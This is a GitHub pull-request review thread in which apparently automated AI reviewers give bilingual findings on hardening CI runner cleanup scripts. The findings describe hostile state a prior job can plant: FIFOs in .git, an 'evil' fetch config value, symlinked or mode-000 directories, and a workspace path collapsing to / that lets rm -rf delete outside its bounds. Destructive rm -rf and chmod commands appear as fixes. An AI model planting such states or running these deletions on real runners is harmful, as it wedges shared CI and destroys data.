  3. The scrub allowlist arm fetch\. keeps fetch-scoped knobs — planted fetch.recurseSubmodules=evil survives and kills the next git fetch (exit 128), sitting exactly between checkout's recreate self-heal and the fail-open.
  4. A foreign-owner read-only refs/replace plant is enumerable yet undeletable — update-ref -d dies EACCES and aborts the step; the fail-open never fires.
  5. A FIFO planted at .git/config / .git/packed-refs / .git/index matches no sweep arm and HANGS the first git call — a hang defeats the exit-keyed fail-open entirely, burning the job timeout with nothing deleted.
  6. The allowlist keeps remote.*.fetch — a planted invalid refspec survives and kills every later checkout fetch (fatal: invalid refspec); checkout v6 never consumes that key (control: explicit-refspec fetch exits 0 with it unset).
witness (all against the unmodified step):
shallow:      wipe exit 0, poison carried; fetch/checkout exit 128 'bad shallow line'
object:       gate exit 0; checkout exit 128 'inflate: data stream error'; corrupt after 2 wipes
fetch.*:      key survives scrub; fetch exit 128 'bad fetch.recursesubmodules argument'
refs/replace: for-each-ref exit 0; update-ref -d 'cannot lock ref … Permission denied'; step exit 1
FIFO:         wipe SIGTERM at probe cap, FIFO survives, repeats
remote.fetch: wipe exit 0 silent; key survives; fetch exit 128 'invalid refspec'; control exit 0

Five consecutive rounds have each closed named entrances and each next audit found more — the surface is unbounded. Close it structurally: make the fail-open coextensive with the requirement (any state the strip or the next checkout cannot survive discards the gitdir — sweep non-regular files find "$WS/.git" \( -type p -o -type s -o -type b -o -type c \) -prune -exec rm -rf {} +, add an integrity probe such as cat-file --batch-all-objects --batch-check, wrap the validation's git calls in timeout), or stop keeping the .git — in serve-ab.yml it is unconsumed (both checkouts use path: head/base and clone fresh every job), and in this file the re-fetch is the documented fallback already. Apply the same edit to serve-ab.yml's byte-identical copy.

Fix witness: extend the wipe witnesses in .github/scripts/ci-runner-routing.test.mjs with arms planting each of the six states, asserting the wipe exits 0 and the state is defanged or the gitdir discarded — removing any new defang/probe line must turn the corresponding arm red.

中文说明

R5-1:保留 .git 的被植入状态类仍然开放。第 8 轮闭合了第 7 轮的入口(本轮已重新验证),但本轮又演示出六个新入口(均对未改动的步骤原文做了探针验证),说明逐入口拆防无法收敛:

  1. 刻意保留 .git/shallow —— 垃圾字节令后续所有 git 操作死亡(fatal: bad shallow line,退出码 128),而本失败开放门禁(for-each-ref refs/replace)退出码为 0,毒态被永久携带。
  2. 对象库从不探测 —— 从 HEAD 不可达的垃圾松散对象通过门禁,卡死后续每次 checkout(inflate: data stream error,退出码 128),反复 wipe 仍存活。
  3. 擦洗 allowlist 的 fetch\. 分支保留 fetch 作用域旋钮 —— 植入 fetch.recurseSubmodules=evil 存活并杀死下一次 git fetch(退出码 128),恰好落在 checkout 两个自愈之间。
  4. 外部属主只读的 refs/replace 植入可枚举但不可删 —— update-ref -d 以 EACCES 失败并中止步骤;失败开放永不触发。
  5. .git/config/.git/packed-refs/.git/index 植入 FIFO 不匹配任何清扫分支,并挂起第一个 git 调用 —— 挂起使按退出码触发的失败开放完全失效,烧满作业超时且什么都没删。
  6. allowlist 保留 remote.*.fetch —— 植入的非法 refspec 存活并杀死后续每次 checkout 的 fetch(fatal: invalid refspec);checkout v6 从不消费该键(对照:置空后显式 refspec 的 fetch 退出码 0)。

连续五轮每轮都闭合了被点名的入口、下一轮审计又发现更多——该面是无界的。请结构性闭合:让失败开放与需求同延(凡是拆条或下一次 checkout 无法存活的状态就丢弃整个 gitdir——清扫非常规文件、加入完整性探测如 cat-file --batch-all-objects --batch-check、给验证的 git 调用套 timeout),或者不再保留 .git——serve-ab.yml 中它无消费者(两处 checkout 都用 path: head/base 每次全新克隆),本文件中重新拉取也已是文档化的降级路径。对 serve-ab.yml 逐字节相同的副本做同样修改。

修复见证:在 .github/scripts/ci-runner-routing.test.mjs 的 wipe 见证中新增分别植入上述六种状态的夹具,断言 wipe 退出码 0 且状态被拆除或 gitdir 被丢弃——删除任一新增拆防/探测行必须使对应夹具变红。

— qwen3.8-max via Qwen Code /review (v0.22.2)

# here) or a symlink (every later job's cache writes land at the
# link's target). Heal the pathological spellings before use —
# the cache is an optimization, not a gate, so fail open.
if [ -L "${cache_dir}" ] || { [ -e "${cache_dir}" ] && [ ! -d "${cache_dir}" ]; }; then

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Critical] R8-2: (fix-induced) the round-8 fix for this thread added the npm-cache heal — and the heal itself is defeated four ways, each probe-verified:

  1. rm -f is unchecked under the wrapper's bash -eo pipefail, so an unwritable parent (chmod 555) makes the heal die EACCES and abort the step — a permanent wedge; and a bare || true is also wrong (verified: mkdir -p then succeeds through a surviving symlink leaf and exports the plant).
  2. The condition tests only the LEAF — a symlink planted on an intermediate component (~/.cache/qwen-code) bypasses it and NPM_CONFIG_CACHE is exported through the attacker's tree (silent write-through; both plant spellings probed).
  3. A DIRECTORY leaf with hostile permissions (mode 000) passes the heal, gets exported, and every later npm ci dies EACCES (probed at uid 1000; flip: chmod heal → npm exit 0).
  4. A hostile-permission subtree one level below a healthy leaf (chmod 000 _cacache) passes identically (independently probed; flip verified).
witness:
shape 1: rm: cannot remove … Permission denied; step exit 1; GITHUB_ENV empty; plant survives
shape 2: leaf -L FALSE; step exit 0; NPM_CONFIG_CACHE exported; realpath inside attacker tree; write-through
shape 3: step exit 0 + export; npm cache add exit 1 EACCES; chmod 0755 → exit 0
shape 4: step exit 0 + export; npm install exit 1 EACCES on _cacache/tmp; with chmod -R u+rwX → exit 0

The other two persistent locations this workflow touches heal exactly this planted-permission class with chmod -R u+rwX (the clear-dirs and ownership steps); this step skips it. Stop enumerating plant shapes — gate the export on actual usability: heal permissions first (chmod -R u+rwX "${cache_dir}" 2>/dev/null || true, tolerating heal failure), then require a real write probe inside the tree before appending NPM_CONFIG_CACHE; on probe failure warn and fall back to the default cache (the step's declared "optimization, not a gate" taxonomy). One predicate closes all four shapes.

Fix witness: extend the heal witness arms (ci-runner-routing.test.mjs ~line 2198) with the four plants (555-parent + file leaf; intermediate symlink; mode-000 dir leaf; mode-000 _cacache under a healthy leaf), asserting step exit 0 and no NPM_CONFIG_CACHE export onto an unusable cache — removing the write-probe/chmod guard must turn each arm red.

中文说明

R8-2:(修复引入)第 8 轮针对本线程的修复新增了 npm 缓存疗愈——而该疗愈本身被四种方式击穿,均经探针验证:

  1. rm -f 在包装器的 bash -eo pipefail 下未做检查,不可写的父目录(chmod 555)使疗愈以 EACCES 死去并中止整个步骤——永久楔子;而单纯 || true 也不对(已验证:mkdir -p 会透过存活的符号链接叶子成功并把植入导出)。
  2. 条件只检测叶子——植入在中间组件(~/.cache/qwen-code)上的符号链接绕过疗愈,NPM_CONFIG_CACHE 被导出到攻击者的树中(静默写穿;两种植入拼写均已探针验证)。
  3. 带恶意权限的目录叶子(模式 000)通过疗愈并被导出,之后每次 npm ci 都死于 EACCES(以 uid 1000 探针;翻转:chmod 疗愈后 npm 退出码 0)。
  4. 健康叶子下一层的恶意权限子树(chmod 000 的 _cacache)同样通过(独立探针;翻转已验证)。

本 workflow 触及的另外两个持久位置都用 chmod -R u+rwX 疗愈这一权限植入类(清理目录步骤与属主修复步骤);本步骤独缺。请停止逐形状枚举——用真实可用性门控导出:先疗愈权限(容忍失败),再要求树内写探针成功后才追加 NPM_CONFIG_CACHE,失败则告警并回退默认缓存(即步骤自己声明的"是优化不是门禁"语义)。一个谓词闭合全部四种形状。

修复见证:在 ci-runner-routing.test.mjs 约 2198 行的疗愈见证夹具中新增上述四种植入,断言步骤退出码 0 且不向不可用缓存导出 NPM_CONFIG_CACHE——移除写探针/chmod 守卫必须使各夹具变红。

— qwen3.8-max via Qwen Code /review (v0.22.2)

# binary with a fabricated DT_NEEDED wedges the gate below on
# every later job (provisioning can never satisfy a name that
# does not exist). Wipe and accept the re-download.
rm -rf "${HOME}/.cache/ms-playwright" || { echo "::error::refusing to continue: could not clear the Playwright browser cache"; exit 1; }

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Critical] R8-5: (fix-induced) the round-8 fix for this finding added the Playwright browser-cache provenance wipe — but the wipe is a fail-closed bare rm -rf … || exit 1 with no read-only heal and no sudo fallback, so a read-only plant under ~/.cache/ms-playwright wedges every later visuals job on that runner.

Trigger: a prior pool job plants ~/.cache/ms-playwright/junk/f under a chmod-555 dir (the exact leftover class the sibling 'Clear stale capture dirs' step exists to heal). The next self-hosted capture job takes this wipe branch, rm -rf dies EACCES, the fail-closed exit 1 sinks the job — and nothing removes the plant: the ownership heal is $GITHUB_WORKSPACE-scoped, the npm-cache heal covers only ~/.cache/qwen-code/npm, the clear step only $RUNNER_TEMP. Every later self-hosted visuals job repeats the failure until manual cleanup: a permanent per-runner wedge of the very lane this fix was meant to protect.

witness (uid 1000, production wrapper flags):
rm: cannot remove '…/ms-playwright/junk/f': Permission denied
::error::refusing to continue: could not clear the Playwright browser cache
step exit: 1; plant STILL PRESENT
contrast: 'Clear stale capture dirs' heals the identical class with
chmod -R u+rwX … || true + || sudo -n rm -rf (rm is in the pool's sudo allowlist)

Mirror the sibling step: chmod -R u+rwX "${HOME}/.cache/ms-playwright" 2>/dev/null || true before the rm, and rm -rf … || sudo -n rm -rf … || { echo …; exit 1; }.

Fix witness: add a planted-readonly-cache machine state to runInstallStep (plant a chmod-555 dir with a child under the stub browser cache), asserting status 0 with the re-download; removing the chmod heal must turn it red.

中文说明

R8-5:(修复引入)第 8 轮针对本发现的修复新增了 Playwright 浏览器缓存的来源擦除——但该擦除是失败即关闭的裸 rm -rf … || exit 1,没有只读疗愈、没有 sudo 回退,~/.cache/ms-playwright 下的只读植入会卡死该 runner 上之后所有的 visuals 作业。

触发:前序池作业在 chmod 555 的目录下植入 ~/.cache/ms-playwright/junk/f(正是姊妹步骤 'Clear stale capture dirs' 存在即为疗愈的残留类)。下一个自持 capture 作业进入本擦除分支,rm -rf 以 EACCES 失败,失败即关闭的 exit 1 使作业沉没——且没有任何东西移除该植入:属主修复仅覆盖 $GITHUB_WORKSPACE,npm 缓存疗愈仅覆盖 ~/.cache/qwen-code/npm,清理步骤仅覆盖 $RUNNER_TEMP。之后每个自持 visuals 作业都重复该失败,直到人工清理:对这条本修复要保护的车道形成每 runner 的永久楔子。

对齐姊妹步骤:在 rm 之前 chmod -R u+rwX "${HOME}/.cache/ms-playwright" 2>/dev/null || true,并 rm -rf … || sudo -n rm -rf … || { echo …; exit 1; }

修复见证:在 runInstallStep 中新增 planted-readonly-cache 机器状态(在 stub 浏览器缓存下植入 chmod 555 目录及子文件),断言退出码 0 并重新下载;移除 chmod 疗愈必须使其变红。

— qwen3.8-max via Qwen Code /review (v0.22.2)

# because it bounds what the heal may touch: canonical, slash-free
# and non-degenerate. An empty $RUNNER_WORKSPACE would turn every
# containment pattern below into the match-all "/*".
RWS="$(realpath -m -- "$RWS" 2>/dev/null)" || { echo "::error::refusing to wipe: realpath unavailable, cannot canonicalize ${RUNNER_WORKSPACE}"; exit 1; }

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Critical] The restructure moved RWS canonicalization here (realpath -m + trailing-slash strip), but the degenerate-root refusal [ -z "$RWS" ] now checks only the RAW path — exactly one occurrence per file, pre-canonicalization only. A RUNNER_WORKSPACE that collapses to / only AFTER canonicalization (/home/.. — non-empty, absolute, [ -d ] true, ancestors not symlinks, so it passes every raw guard) reaches every containment pattern as an empty string: "$RWS"/* degenerates to the match-all /* in the intermediate heal, the workspace-heal parent check, and the final wipe allowlist. A mangled GITHUB_WORKSPACE like /opt/app/data is then wiped by find … -exec rm -rf OUTSIDE the runner workspace with exit 0 — deletion beyond the containment this step exists to enforce. The mangled-env incident class (#9220/#9265) is exactly what the step's own comments cite as its reason to exist. A/B against the merge base: the base ordered realpath → strip → -z and REFUSED this input; this diff introduced the regression. (Byte-identical copy at web-shell-visuals.yml:192.)

witness:
realpath -m /home/.. -> /
with GITHUB_WORKSPACE=/tmp/f2-…/opt-app-data (outside any runner workspace):
  wipe exit 0; canary WIPED; subdir WIPED; zero output
A/B: replaying the merge-base ordering on /home/.. REFUSES ('runner workspace resolved to /')

Re-add the refusal immediately after the strip, in both copies:

if [ -z "$RWS" ]; then echo "::error::refusing to wipe: runner workspace resolved to /"; exit 1; fi

(a blanket raw-.. refusal would be wrong — the suite pins that a ..-spelled RWS resolving to a real parent still wipes).

Fix witness: an exec test beside 'refuses a runner workspace that resolves to /' using a value that only collapses post-canonicalization (e.g. /home/..), asserting non-zero exit and an empty rm-recorder log; removing the restored check turns it red.

中文说明

重构把 RWS 规范化移到这里(realpath -m + 去尾斜杠),但退化根拒绝 [ -z "$RWS" ] 现在只检查原始路径——每个文件恰好一处,且只在规范化之前。一个仅在规范化之后才塌缩为 /RUNNER_WORKSPACE/home/..——非空、绝对路径、[ -d ] 为真、祖先无符号链接,因此通过所有原始守卫)会以空串进入每个包含性模式:"$RWS"/* 在中间疗愈、工作区疗愈父检查与最终擦除 allowlist 中退化为全匹配 /*。被污染的 GITHUB_WORKSPACE(如 /opt/app/data)随后被 find … -exec rm -rf 在 runner 工作区之外删除且退出码 0——删除越出了本步骤存在所要强制的包含性。污染环境事故类(#9220/#9265)正是步骤注释自述的存在理由。与合并基 A/B:基上顺序为 realpath → 去斜杠 → -z,会拒绝该输入;本 diff 引入了回归。(web-shell-visuals.yml:192 为逐字节相同的副本。)

在两处副本的去斜杠之后立即补回拒绝(见上方代码块)。(全面的原始 .. 拒绝是错的——套件钉扎了能解析到真实父目录的 .. 拼写 RWS 仍要擦除。)

修复见证:在 'refuses a runner workspace that resolves to /' 旁新增仅在规范化后才塌缩的输入(如 /home/..)的执行测试,断言非零退出且 rm 记录为空;移除补回的检查必须使其变红。

— qwen3.8-max via Qwen Code /review (v0.22.2)

esac
if [ -n "$HEAL_COMP" ]; then
HEAL_PREFIX="${HEAL_PREFIX}/${HEAL_COMP}"
if [ -L "$HEAL_PREFIX" ]; then

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Critical] This PR changes serve-ab.yml's wipe to HEAL a symlinked intermediate component, but the untouched consumer scripts/tests/serve-ab-workflow.test.js still pins the old REFUSAL semantics — two tests now fail deterministically at HEAD, and this PR's own CI is red on them: refuses an allowlist-escaping path reached through an intermediate symlink (expects 'outside the runner workspace', test line 431) and refuses to heal through an intermediate symlink, before touching anything (expects 'refusing to heal workspace outside the runner workspace', test line 673). This runs in ci.yml's Linux test lane (npm run test:ci → vitest, collected per scripts/tests/vitest.config.ts; win32-only exclusion), so the PR ships with a red lane.

witness:
local at HEAD: npx vitest run --config ./scripts/tests/vitest.config.ts scripts/tests/serve-ab-workflow.test.js
  → Tests 2 failed | 21 passed (23), heal annotation firing where refusal is asserted
CI run 33196814369, 'Test (ubuntu-latest, Node 22.x)':
  × refuses an allowlist-escaping path reached through an intermediate symlink
  × refuses to heal through an intermediate symlink, before touching anything
  → Tests 2 failed | 1889 passed | 11 skipped (1902)

Update the two tests to pin the new heal semantics (status 0 or heal-specific failure message, healing workspace path annotation, link unlinked and recreated inside the runner workspace, target untouched) — mirroring the new heals a symlinked intermediate component instead of refusing on it forever witness in ci-runner-routing.test.mjs; the PR's own new tests pin the heal for the byte-identical port, so the suite update is the consistent direction.

Fix witness: the two rewritten tests themselves — they must go red if the intermediate heal's containment/unlink behavior regresses; today they are red against the shipped wipe.

中文说明

本 PR 把 serve-ab.yml 的 wipe 从"拒绝"改为"疗愈"符号链接中间组件,但未改动的消费者 scripts/tests/serve-ab-workflow.test.js 仍钉扎旧的拒绝语义——两个测试在 HEAD 上确定性失败,本 PR 自己的 CI 也因此变红:refuses an allowlist-escaping path reached through an intermediate symlink(期望 'outside the runner workspace',测试 431 行)与 refuses to heal through an intermediate symlink, before touching anything(期望 'refusing to heal workspace outside the runner workspace',测试 673 行)。该套件运行于 ci.yml 的 Linux 测试车道(npm run test:ci → vitest,按 scripts/tests/vitest.config.ts 收集;仅 win32 排除),因此 PR 带着红车道交付。

把这两个测试更新为钉扎新的疗愈语义(退出码 0 或疗愈专属失败消息、healing workspace path 注解、链接被解除并在 runner 工作区内重建、目标不受影响)——与 ci-runner-routing.test.mjs 中新的 heals a symlinked intermediate component… 见证保持一致;本 PR 的新测试已为逐字节相同的移植钉扎了疗愈语义,套件更新是唯一自洽的方向。

修复见证:即这两个改写后的测试本身——若中间疗愈的包含性/解除链接行为回归则必须变红;当前它们对已交付的 wipe 即为红色。

— qwen3.8-max via Qwen Code /review (v0.22.2)

esac
if [ -n "$HEAL_COMP" ]; then
HEAL_PREFIX="${HEAL_PREFIX}/${HEAL_COMP}"
if [ -L "$HEAL_PREFIX" ]; then

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Critical] The heal chain's intermediate level heals only SYMLINKED components ([ -L "$HEAL_PREFIX" ]), while the root heal (:154) and the final workspace heal (:241) both handle [ -L ] || [ ! -d ] — two probe-verified wedges escape through the gap (this is location 1 of 2; the final mkdir leg is annotated at line 275):

  1. A planted regular FILE at an intermediate level survives the walk; the final heal's bare mkdir "$WS" dies ENOTDIR; the plant survives; every later job repeats — permanent. Probe (two runs): exit 1 both, plant intact.
  2. After the root heal replaces a planted $RUNNER_WORKSPACE symlink with a fresh empty dir, the intermediate <repo> parent of the production two-level layout (<rws>/<repo>/<repo> — actions/runner TrackingConfig.cs + the fleet's own comment at qwen-code-pr-review.yml:558) no longer exists and is never recreated (the loop repairs only symlinked components), so the final mkdir -- "$WS" (no -p) dies ENOENT and sinks the job. The runner recreates the dirs at the NEXT job's setup (PipelineDirectoryManager), so the cost is one guaranteed-red job per plant — precisely the job the heal exists to save. Both existing witnesses use a one-level layout (ws = join(rws, 'qwen-code')), which is why they stay green.
witness:
FILE arm:  job 1 exit 1 'mkdir: … Not a directory'; plant survived both jobs;
           flip ([ -L ] || [ ! -d ] predicate): job 1 exit 0, healed
ROOT arm:  two-level layout: 'mkdir: cannot create directory … No such file or directory', exit 1;
           second job identical; one-level witness shape exits 0

Extend the intermediate predicate (in both copies; serve-ab.yml:204-206) to mirror the root/final heals — this also recreates MISSING intermediates, closing shape 2:

if [ -L "$HEAL_PREFIX" ] || [ ! -d "$HEAL_PREFIX" ]; then

(with a not-a-directory warning arm), or use mkdir -p in the final recreate leg.

Fix witness: new arms next to 'heals a symlinked intermediate component…' (~line 1771) — plant a regular file at the intermediate component, and a root-symlink plant with the two-level layout (ws = join(rws, 'qwen-code', 'qwen-code')), asserting status 0 and a real directory; removing the non-directory arm turns both red.

中文说明

疗愈链的中间层只疗愈符号链接组件([ -L "$HEAL_PREFIX" ]),而根疗愈(:154)与最终工作区疗愈(:241)都处理 [ -L ] || [ ! -d ]——两个经探针验证的楔子从该缺口逃逸(此为 2 处位置中的第 1 处;最终 mkdir 一支标注在 275 行):

  1. 植入在中间层的普通文件逃过遍历;最终疗愈的裸 mkdir "$WS" 以 ENOTDIR 死去;植入存活;之后每个作业重复——永久。探针(两次运行):均退出码 1,植入完好。
  2. 根疗愈把植入的 $RUNNER_WORKSPACE 符号链接替换为全新空目录后,生产两层布局(<rws>/<repo>/<repo>——actions/runner TrackingConfig.cs 与 qwen-code-pr-review.yml:558 的车队注释)的中间 <repo> 父目录不复存在且永不被重建(该循环只修复符号链接组件),最终裸 mkdir -- "$WS"(无 -p)以 ENOENT 死去并使作业沉没。runner 会在下一个作业的准备阶段重建目录(PipelineDirectoryManager),因此代价是每次植入必然红掉一个作业——恰恰是疗愈存在所要保住的那个作业。现有两个见证都用一层布局(ws = join(rws, 'qwen-code')),因此保持绿色。

把中间层谓词扩展为与根/最终疗愈一致(两处副本;serve-ab.yml:204-206,见上方代码块,附非目录告警分支)——这同时重建缺失的中间组件,闭合形状 2;或在最终重建一支使用 mkdir -p

修复见证:在 'heals a symlinked intermediate component…'(约 1771 行)旁新增夹具——在中间组件植入普通文件、以及两层布局下的根符号链接植入(ws = join(rws, 'qwen-code', 'qwen-code')),断言退出码 0 且成为真实目录;移除非目录分支必须使两者变红。

— qwen3.8-max via Qwen Code /review (v0.22.2)

# not the last command of an && list is swallowed, and a swallowed
# one here would leave the wipe running against a corrupt path.
rm -f -- "$WS" || { echo "::error::refusing to continue: could not remove ${WS}"; exit 1; }
mkdir -- "$WS" || { echo "::error::refusing to continue: could not recreate ${WS}"; exit 1; }

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Critical] Location 2 of 2 for the heal-chain gap (the intermediate predicate is annotated at line 223): the intermediate-component heal repairs only SYMLINKED components, so after the root heal empties $RUNNER_WORKSPACE this bare mkdir -- "$WS" (no -p) dies ENOENT in the production two-level layout (<rws>/<repo>/<repo> — actions/runner TrackingConfig.cs; fleet comment at qwen-code-pr-review.yml:558) and sinks the job the heal exists to save (the runner recreates the dirs only at the NEXT job's setup — one guaranteed-red job per plant, probed twice). Separately, a planted regular FILE at an intermediate level makes this same mkdir die ENOTDIR permanently (probe: exit 1 both runs, plant intact; flip to [ -L ] || [ ! -d ] intermediate healing → exit 0). Fix both copies (serve-ab.yml:257-258): extend the intermediate predicate to [ -L "$HEAL_PREFIX" ] || [ ! -d "$HEAL_PREFIX" ] (recreates missing components too), or use mkdir -p here.

witness:
two-level root arm: 'mkdir: cannot create directory … No such file or directory', exit 1, second job identical
FILE arm: exit 1 'Not a directory', plant survived both jobs; flip: exit 0, healed

Fix witness: the two new arms named at line 223 — removing the non-directory intermediate arm (or -p) turns them red.

中文说明

疗愈链缺口的位置 2/2(中间层谓词标注在 223 行):中间组件疗愈只修复符号链接组件,因此根疗愈清空 $RUNNER_WORKSPACE 之后,这个裸 mkdir -- "$WS"(无 -p)在生产两层布局(<rws>/<repo>/<repo>——actions/runner TrackingConfig.cs;车队注释见 qwen-code-pr-review.yml:558)中以 ENOENT 死去,使疗愈存在所要保住的作业沉没(runner 仅在下一个作业的准备阶段重建目录——每次植入必然红掉一个作业,已两次探针验证)。另外,在中间层植入普通文件会使同一个 mkdir 以 ENOTDIR 永久失败(探针:两次运行均退出码 1,植入完好;翻转为 [ -L ] || [ ! -d ] 中间疗愈后退出码 0)。两处副本同时修复(serve-ab.yml:257-258):把中间层谓词扩展为 [ -L "$HEAL_PREFIX" ] || [ ! -d "$HEAL_PREFIX" ](同时重建缺失组件),或在此使用 mkdir -p

修复见证:即 223 行所述的两个新夹具——移除非目录中间分支(或 -p)必须使其变红。

— qwen3.8-max via Qwen Code /review (v0.22.2)

heal_target="$(printf '%s' "$heal_target" | tr -d '\r\n' | cut -c1-200)"
echo "::warning::healing workspace path ${HEAL_PREFIX}: it was a symlink"
printf 'heal: %s pointed at %s\n' "$HEAL_PREFIX" "$heal_target"
rm -f -- "$HEAL_PREFIX" || { echo "::error::refusing to continue: could not remove ${HEAL_PREFIX}"; exit 1; }

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Critical] The heals need write permission on the PARENT directory to rm -f/mkdir, but nothing ever restores permissions on the ancestor chain between $RUNNER_WORKSPACE and $GITHUB_WORKSPACE: 'Restore workspace ownership' chmod/chowns only $GITHUB_WORKSPACE downward (verified: exactly those sites plus $RUNNER_TEMP in both workflows), and the wipe's heals are deliberately sudo-less ('After the ownership-restore step everything is user-owned, so no sudo'). A same-uid job — contributor code on the exact lanes this PR routes onto the pool — can chmod 555 "$RUNNER_WORKSPACE" with no privilege after planting a symlinked intermediate; the next job's ownership step heals harmlessly THROUGH the link into the attacker tree (exit 0, RWS mode still 555), then this heal's rm -f dies EACCES and the fail-closed exit 1 leaves the plant alive — every later serve-ab/visuals job on that runner dies at this line, permanently. (Copy: web-shell-visuals.yml:228.)

witness (uid 1000, real parsed steps, two simulated jobs per row):
Row A (planted link + chmod 555 rws): ownership-restore exit 0, RWS-mode-after=555;
  wipe exit 1 'could not remove …/rws/org'; job N+2 identical, plant link still there
Row B (fleet direct-child layout): wipe exit 1 'could not remove …/rws/qwen-code', plant intact
flip (chmod u+rwx -- "$RWS" before heals): exit 0, plant gone, job N+2 clean

Restore owner write on the bounded ancestor chain before the heals — in the ownership-restore step, walk from dirname "$GITHUB_WORKSPACE" up to and including $RUNNER_WORKSPACE and chmod u+rwx each component (every path in the chain is already containment-judged by the ancestor walk); keep the fail-closed exit for parents above $RUNNER_WORKSPACE.

Fix witness: add a case planting a symlinked intermediate component plus chmod 555 on $RUNNER_WORKSPACE, asserting the job heals instead of exiting 'could not remove'; removing the ancestor-chain chmod turns it red.

中文说明

疗愈需要父目录的写权限才能 rm -f/mkdir,但没有任何东西恢复 $RUNNER_WORKSPACE$GITHUB_WORKSPACE 之间祖先链的权限:'Restore workspace ownership' 只对 $GITHUB_WORKSPACE 向下 chmod/chown(已验证:两个 workflow 中恰好只有这些位置外加 $RUNNER_TEMP),而 wipe 的疗愈刻意不用 sudo("属主修复之后一切均为用户所有,无需 sudo")。同 uid 的作业——正是本 PR 路由到池上的车道所运行的贡献者代码——可以在植入符号链接中间组件后无需特权地 chmod 555 "$RUNNER_WORKSPACE";下一个作业的属主修复步骤透过链接无害地作用在攻击者的树上(退出码 0,RWS 模式仍为 555),随后本疗愈的 rm -f 以 EACCES 死去,失败即关闭的退出码 1 使植入存活——该 runner 之后每个 serve-ab/visuals 作业都死在这一行,永久。(副本:web-shell-visuals.yml:228。)

在疗愈之前恢复有界祖先链的属主写权限——在属主修复步骤中,从 dirname "$GITHUB_WORKSPACE" 向上遍历到(含)$RUNNER_WORKSPACE,对每个组件 chmod u+rwx(链上每条路径都已被祖先遍历做过包含性判断);对 $RUNNER_WORKSPACE 之上的父目录保持失败即关闭的退出。

修复见证:新增植入符号链接中间组件并对 $RUNNER_WORKSPACE chmod 555 的用例,断言作业完成疗愈而非以 'could not remove' 退出;移除祖先链 chmod 必须使其变红。

— qwen3.8-max via Qwen Code /review (v0.22.2)

@qwen-code-dev-bot

Copy link
Copy Markdown
Collaborator

🔀 Base updated: red check(s) [Test (ubuntu-latest, Node 22.x), web-shell E2E Smoke (ubuntu-latest, Node 22.x)] pass on current main — merged current main via update-branch; CI will re-run.

中文说明

🔀 已更新 base:红色检查 [Test (ubuntu-latest, Node 22.x), web-shell E2E Smoke (ubuntu-latest, Node 22.x)] 在当前 main 上通过 —— 已通过 update-branch 合入当前 main,CI 将重新运行。

qwen-code-ci-bot pushed a commit that referenced this pull request Aug 28, 2026
qwen-code-ci-bot pushed a commit that referenced this pull request Aug 28, 2026

@qwen-code-ci-bot qwen-code-ci-bot left a comment

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Partially reviewed — gaps disclosed.

⚠️ Round 10, and the diff has grown 4.1x since this review first measured it (184 → 747 source diff lines). The findings below are anchored to the current patch, so they can only say where this approach leaks — never that a different approach would retire all of them at once. Before fixing them, a human should decide whether the shape of the change is still right. Advisory only: this does not affect the verdict, and nothing here is a blocker.

6 Suggestion-level finding(s) this review confirmed are already reported on this PR and are not repeated:

  • serve-ab.yml size-baseline under-recorded (25994 vs 28608) — already reported (round-9 deferred list, review 5055259719)
  • root-heal denylist omits system roots — already reported (round-7 deferred list, review 5050173882; round-8 deferred list, review 5052917476)
  • ffmpeg comment re-asserts the disproved uniform-RHEL premise — already reported (round-4 deferred list, review 5037369574)
  • npm-cache witness arms never exercise a failing rm -f — already reported (round-9 deferred list, review 5055259719)
  • case-insensitive ambient-secret matcher bypass — already reported (round-6 deferred list, review 5044230016; round-8 body note, review 5052917476)
  • ambient-secret allowlist is value-only, never positional — already reported (round-9 deferred list, review 5055259719)

Unresolved, please confirm:

  • [Critical] R9-4 .github/workflows/web-shell-visuals.yml:275 — the bare mkdir ENOENT wedge is verified present in code and its mechanism probe-verified, but whether the pool daemon supplies GITHUB_WORKSPACE >= 2 components below RUNNER_WORKSPACE is…

Not reviewed: reverse audit — stopped at the round cap of 5 without converging (rounds 1-5 each reported findings; the pool-hygiene surface kept producing new entrances).

Not linted (tool limitation, not a blocker): the executable-script lint — .github/workflows/serve-ab.yml: actionlint embedded-shell source mapping is not yet supported — not linted; the executable-script lint — .github/workflows/web-shell-visuals.yml: actionlint embedded-shell source mapping is not yet supported — not linted.

4 fails-closed, new-surface Critical(s) were drafted inline past the resolved critical posting floor; the CLI moved them into the deferral list below (floor enforcement).

Deferred under the convergence posture (round 10, not a blocker) — recorded, not requested in this round; 4 Critical(s) among them are deferred by their axes — fails-closed on new surface, where no wrong result is certified and the merge base had neither the surface nor the defect — and remain follow-up work recorded in the findings artifact:

  • .github/workflows/web-shell-visuals.yml:223 — [review] Critical [fails-closed] [new-surface] R9-3: Re-check of round-9 blocker R9-3: still stands. The heal chain's intermediate level heals only SYMLINKED components ( [ -L "$HEAL_PREFIX" ] ,…
  • .github/workflows/serve-ab.yml:211 — [review] Critical [fails-closed] [new-surface] R9-5: Re-check of round-9 blocker R9-5: still stands. The heals need write permission on the PARENT directory to rm -f / mkdir , but nothing restores permi…
  • .github/workflows/web-shell-visuals.yml:475 — [review] Critical [fails-closed] [new-surface] R8-5: Re-check of round-9 blocker R8-5: still stands. The Playwright browser-cache provenance wipe is still a fail-closed bare rm -rf … || exit 1 …
  • .github/workflows/web-shell-visuals.yml:368 — [review] Critical [fails-closed] [new-surface] R5-1: Re-check of round-9 blocker R5-1: the kept- .git planted-state class is still open. The round-10 wholesale redesign closed the symlink/lock/…
  • .github/workflows/web-shell-visuals.yml:466 — [probe] chrome-headless-shell scan arm has no witness — runInstallStep stubs create only headless_shell/chrome
  • .github/workflows/web-shell-visuals.yml:241 — [probe] workspace-heal symlink arm ([ -L "$WS" ]) has no exec witness — mutation-proven
